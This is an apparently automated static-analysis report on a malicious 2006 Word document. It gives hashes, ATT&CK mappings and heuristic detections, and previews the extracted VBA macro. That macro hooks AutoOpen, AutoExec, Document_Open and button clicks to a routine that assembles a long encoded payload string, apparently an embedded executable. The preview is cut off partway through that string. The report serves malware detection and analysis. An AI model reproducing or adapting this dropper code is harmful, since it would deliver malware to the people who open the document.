Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18ba127fe573475b…

MALICIOUS

Office (OLE)

84.5 KB Created: 2006-06-27 07:57:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 56056f95ed5d5c6ff333fcbfe983a1f9 SHA-1: ba88b8b59735ca1335abb7ee50dd2c2a3d83363e SHA-256: 18ba127fe573475b4dcf979dda92aab44c1be92893f48ebd8f1af2cd0b6a7c96
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Document_Open subroutines, which are designed to execute automatically when the document is opened. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external process. This is further supported by the ClamAV detection of Win.Trojan.MSWord-4. The document body content appears to be a lure, listing product details to entice the user to interact with the document.

Heuristics 8

  • ClamAV: Win.Trojan.MSWord-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.MSWord-4
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.amazon.com/gp/help/seller/shipping.html/103-4083838-6484655?ie=UTF8&seller=ATVPDKIKX0DER In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11084 bytes
SHA-256: 032de1f098aa414aad541e94fa3a620009559d06ca0bafb0c5800701e8e5af76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "CommandButton11, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "CommandButton12, 2, 2, MSForms, CommandButton"
Sub AutoOpen()
Call CheckPriceProc
End Sub

Sub AutoExec()
Call CheckPriceProc
End Sub

Private Sub CommandButton11_Click()
Call CheckPriceProc
End Sub

Private Sub CommandButton12_Click()
Call CheckPriceProc
End Sub

Private Sub Document_Open()
Call CheckPriceProc
End Sub

Private Sub CommandButton1_Click()
Call CheckPriceProc
End Sub

Attribute VB_Name = "NewMacros"
Sub CheckPriceProc()
Attribute CheckPriceProc.VB_Description = "Макрос создан 27.06.2006 Max"
Attribute CheckPriceProc.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.CheckPriceProc"
On Error Resume Next
df = "ENFKJAAAADAAAAAAAEAAAAAAPPPPAAAALIAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMIAAAAAAAOBPLKAOAALEAJMNCBLIABEMMNCBFEGI"
df = df + "GJHDCAHAHCGPGHHCGBGNCAGDGBGOGOGPHECAGCGFCAHCHFGOCAGJGOCAEEEPFDCAGNGPGEGFCOANANAK"
df = df + "CEAAAAAAAAAAAAAAHBJDONMBDFPCIDJCDFPCIDJCDFPCIDJCGMNBJAJCDHPCIDJCDFPCICJCCBPCIDJC"
df = df + "FHONJAJCDCPCIDJCNNONJFJCDHPCIDJCFCGJGDGIDFPCIDJCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "FAEFAAAAEMABACAAPDPMKAEEAAAAAAAAAAAAAAAAOAAAAPABALABAGAAAAAKAAAAAAAEAAAAAAAAAAAA"
df = df + "AMBGAAAAAABAAAAAAACAAAAAAAAAEAAAAABAAAAAAAACAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAA"
df = df + "AADAAAAAAAAEAAAAAAAAAAAAACAAAAAAAAAABAAAAABAAAAAAAAABAAAAABAAAAAAAAAAAAABAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAFABGAAAAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAACOHEGFHIHEAAAAAAICAIAAAAAABAAAAAAAAKAAAAAAAEAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAACAAAAEOACOGEGBHEGBAAAAAALAACAAAAAACAAAAAAAACAAAAAAAOAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAEAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
df = df + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANMBHAAAAPKBHAAAAAMBIAAAAOMBHAAAA"
df = df + "AAAAAAAAFIBHAAAAGKBHAAAAHIBHAAAAEIBHAAAAJCBHAAAAKIBHAAAADMBHAAAADABHAAAACEBHAAAA"
df = df + "IEBHAAAABEBHAAAAAAAAAAAAMEBHAAAAAAAAAAAADOBIAAAAFCBIAAAAGGBIAAAACIBIAAAAAAAAAAAA"
df = df + "FFILOMPPBFDMBAEAAAKDKMCCEAAAFNMDFFILOMKBKMCCEAAAGJMADFEOFKABIDMAABKDKMCCEAAAKBKM"
df = df + "CCEAAAMBOIBACFPPPPAAAACFPPPPAAAAFNMDFFILOMIDOMCAOILLPPPPPPOIMGPPPPPPCFPPPPAAAAJJ"
df = df + "LJADAAAAAAPHPJIDMCAEIJFFOEMHEFOAAAAAAAAAOLAJILFFOAIDMCABIJFFOAILEFOADLEFOEHDBOOI"
df = df + "JEPPPPPPCFPPPPAAAAJJLJBJAAAAAAPHPJIDMCGBILEFOAIIFEAFOIOLNBILENOAMGEEANOIA
... (truncated)

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